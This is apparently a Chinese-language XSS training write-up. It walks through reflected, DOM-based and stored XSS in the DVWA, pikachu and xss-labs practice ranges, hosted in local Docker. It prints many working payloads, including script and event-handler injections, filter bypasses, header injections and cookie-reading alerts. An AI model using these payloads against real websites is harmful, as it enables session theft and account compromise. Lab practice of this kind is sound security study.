XSS(Cross-Site Scripting,跨站腳本攻擊)是 Web 安全領域最常見、出現頻率最高、危害也非常大的漏洞之一,即使到了 2026 年,它仍然是 OWASP Top 10 榜單的常客。
攻擊者把惡意 JavaScript 代碼注入到網頁裏,當其他用户訪問這個頁面時,惡意代碼就在受害者的瀏覽器裏被執行了。
XSS 的三大主流分類(2025-2026 年仍然是這三類):
| 類型 | 英文名稱 | 是否持久化 | 執行時機 | 典型場景 | 危害程度 |
|---|---|---|---|---|---|
| 反射型 | Reflected XSS | 否 | 用户必須點擊攻擊者構造的惡意鏈接 | 搜索框、錯誤頁面、URL 參數帶內容 | ★★★★ |
| DOM型 | DOM-based XSS | 否 | 瀏覽器端 JavaScript 處理不當 | location.hash、innerHTML、document.write 等危險操作 | ★★★★ |
| 存儲型 | Stored XSS | 是 | 只要有人訪問被污染的頁面 | 論壇帖子、商品評論、個人簽名、客服留言 | ★★★★★ |
一、XSS靶場
反射型
1.DVWA
1.1 low
-
目前顯示的界面如下圖所示:
-
先隨意輸入一些內容試試:輸入"curme"發現在界面上會出現輸入的內容
-
輸入惡意代碼:
<script>alert(1)</script>
-
輸入惡意代碼:
<script>alert(document.cookie)</script>
1.2 medium
-
當我輸入
<script>alert(1)</script>
對關鍵詞有過濾 -
輸入:
<scr<script>ipt>alert(1)</script>或者<Script>alert(1)</Script>
1.3 high
-
這個難度下,替換了所有的
<script>標籤,因此考慮使用觸發事件:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
-
<img src=x onerror=alert(document.cookie)>或<svg onload=alert(document.cookie)>
2.pikachu
2.1 反射型GET
如上圖,輸入惡意代碼,發現有長度顯示,於是修改maxlength參數為200.
之後就可以輸入惡意代碼:<script>alert(1)</script>,顯示如下:
2.2 反射型POST
先登錄admin / 123456,登陸之後如下:
輸入123,抓包如下:
POST /pikachu/vul/xss/xsspost/xss_reflected_post.php HTTP/1.1
Host: 192.168.103.130:8082
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://192.168.103.130:8082
Connection: keep-alive
Referer: http://192.168.103.130:8082/pikachu/vul/xss/xsspost/xss_reflected_post.php
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=663b23ae4a67f2b75215f8f71a31ac26
Upgrade-Insecure-Requests: 1
Priority: u=0, i
message=123&submit=submit
界面顯示如下:
在POST數據包的message中加入惡意代碼如下:<script>alert(1)</script>,顯示如下:
(其實不通過抓包也能實現。)
DOM型
1.DVWA
1.1 low
-
隨便選擇一個,觀察url發現是通過參數
default傳遞的
-
輸入惡意代碼:
http://192.168.103.130:8090/vulnerabilities/xss_d/?default=<script>alert(1)</script>
-
輸入惡意代碼:
http://192.168.103.130:8090/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
1.2 medium
- 主要還是一個過濾:考慮不使用帶有
<script的語句
http://192.168.103.130:8090/vulnerabilities/xss_d/?default=<img src='' onerror=javascript:alert(1)>
1.3 high
-
服務器端已經做的無懈可擊,但是在客户端還是可以通過錨點
#來加入惡意代碼。
http://192.168.103.130:8090/vulnerabilities/xss_d/?default=English #<script>alert(1)</script> -
客户端只是將
English提交給了服務器,服務器檢查後發現沒有問題,於是客户端將整個English #<script>alert(1)</script>寫入了DOM樹,從而攻擊就發生了。
2.pikachu
2.1 DOM型xss
通過Inspector得知,在click上的函數是domxss()。然後在Debugger中搜索domxss,可以得知domxss()函數如下:
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
因此使用惡意代碼為:'></a> <img src=x onerror=alert(1)> <a href='
顯示如下:
2.2 DOM型xss-x
通過Inspector得知,在上圖中的鏈接有一個click事件,使用了domxss()函數。通過在Debugger中搜索domxss可以得知,domxss()函數如下:
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>";
}
因此使用惡意代碼為:'></a> <iframe src=x onload=alert(1)></iframe> <a href='
顯示如下:
存儲型
1.DVWA
1.1 low
-
通過隨意輸入可以發現,每次刷新頁面,都會再次顯示曾經輸入的內容
-
輸入惡意代碼:
這樣一來每次刷新頁面都會顯示:
-
輸入惡意代碼:
這樣一來每次刷新頁面都會顯示:
1.2 medium
- 在Name中輸入:
<ScRipT>alert(1)</ScRipT>
(在Name框中可能會出現無法輸入這麼長的字符串的問題,直接在界面源碼上將輸入該框的字符串最大設置為100。)
這樣一來,每次刷新都會出現
在消息框裏面輸入不成功是因為代碼中使用了strip_tags()函數,該函數會剝離字符串中所有的 HTML、XML 以及 PHP 標籤。
1.3 high
-
這裏主要的問題是:只使用了黑名單,只是過濾了
<script。對於html事件完全沒有過濾。 -
在Name框中輸入:
<svg onload=alert(1)>或<img src=x onerror=alert(1)>
2.pikachu
如上圖,通過Inspector可以看出輸入的內容顯示的地方,可以使用如下的惡意代碼:
</p> <img src=x onerror=alert(1)> <p>
每次刷新網頁都會出現如下界面:
二、XSS檢測工具
-
XSSER
-
XSSSTRIKE
三、xss-labs闖關
level 1
通過GET傳遞參數
http://192.168.103.130:9000/xss-labs/level1.php?name=<script>alert(1)</script>
惡意代碼:<script>alert(1)</script>
level 2
搜索參數嵌入了html的input中。
惡意代碼:"> <img src=x onerror=alert(1)> <img scr="
level 3
惡意代碼:' onfocus=alert(1) '
level 4
惡意代碼:' onfocus=alert(1) '
level 5
惡意代碼:"> <a href="javascript:alert(1)">click</a> <img src="
level 6
惡意代碼:"> <ScRIpt> alert(1) </ScRIpt> <img src="
level 7
惡意代碼:" OonNOnfocus=alert(1) > <img src="
level 8
惡意代碼:javascript:alert(1)
level 9
惡意代碼:javascript:alert('http://www.baidu.com')
惡意代碼:javascript:alert(1)//http://www.baidu.com
level 10
惡意代碼:" type="text" onfocus=alert(1) "
http://192.168.103.130:9000/xss-labs/level10.php?keyword=well done!&t_sort=" type="text" onfocus=alert(1) "
level 11
惡意代碼:" type="button" onfocus="alert(1)
在GET請求裏面將Referer改成:
" type="button" onfocus="alert(1)
level 12
惡意代碼:" type="button" onfocus="alert(1)
在GET請求裏面將User-Agent改成:
" type="button" onfocus="alert(1)
level 13
惡意代碼:" type="button" onfocus="alert(1)
Cookie: user=" type="button" onfocus="alert(1)
level 14
這關略過,這關的網站已經掛了。
level 15
惡意代碼:
http://192.168.103.130:9000/xss-labs/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'
level 16
惡意代碼:<img%0dsrc=x%0donerror=alert(1)
level 17
略
level 18
惡意代碼:%20onmouseover=alert(1)%20width=200%20height=200%20style=background:red;display:block;
level 19
略
level 20
略
通過這 20 關,已經走過了 XSS 發展的縮影:
Level 1-10:基礎過濾(大小寫、雙寫、事件、偽協議)。
Level 11-13:HTTP 頭部注入(Referer, Cookie, User-Agent)。
Level 14-16:前端框架注入 (AngularJS) 和 字符編碼繞過。
Level 17-20:插件注入 (Flash)。
硬件及軟件説明:
I.硬件(電腦)
Apple Mac mini M4 (24G)
II.軟件(vmware虛擬機)
ubuntu作為靶機- IP:
192.168.103.130 - arm64
- Ubuntu 24.04.3 LTS
- IP:
kali作為攻擊機- IP:
192.168.103.128 - arm64
- Kali GNU/Linux Rolling
- 瀏覽器:Chromium 和 Firefox
- IP:
ubuntu中安裝docker靶場:kaakaww/dvwa-docker:latest
ubuntu中安裝docker靶場:homins/pikachu:latest
ubuntu中安裝docker靶場:hominsu/xss-labs:latest
# 拉取docker鏡像
sudo docker pull kaakaww/dvwa-docker
sudo docker pull hominsu/pikachu
sudo docker pull hominsu/xss-labs
# 為鏡像創建容器,並運行
## DVWA 端口設為 8090
## pikachu 端口設為 8082
## xss-labs 端口設為 9000
sudo docker run -dt --name dvwa -p 8090:80 kaakaww/dvwa-docker
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu
sudo docker run -dt --name xss-labs -p 9000:80 hominsu/xss-labs
📌 不一定對,如有錯誤,歡迎指出🙂。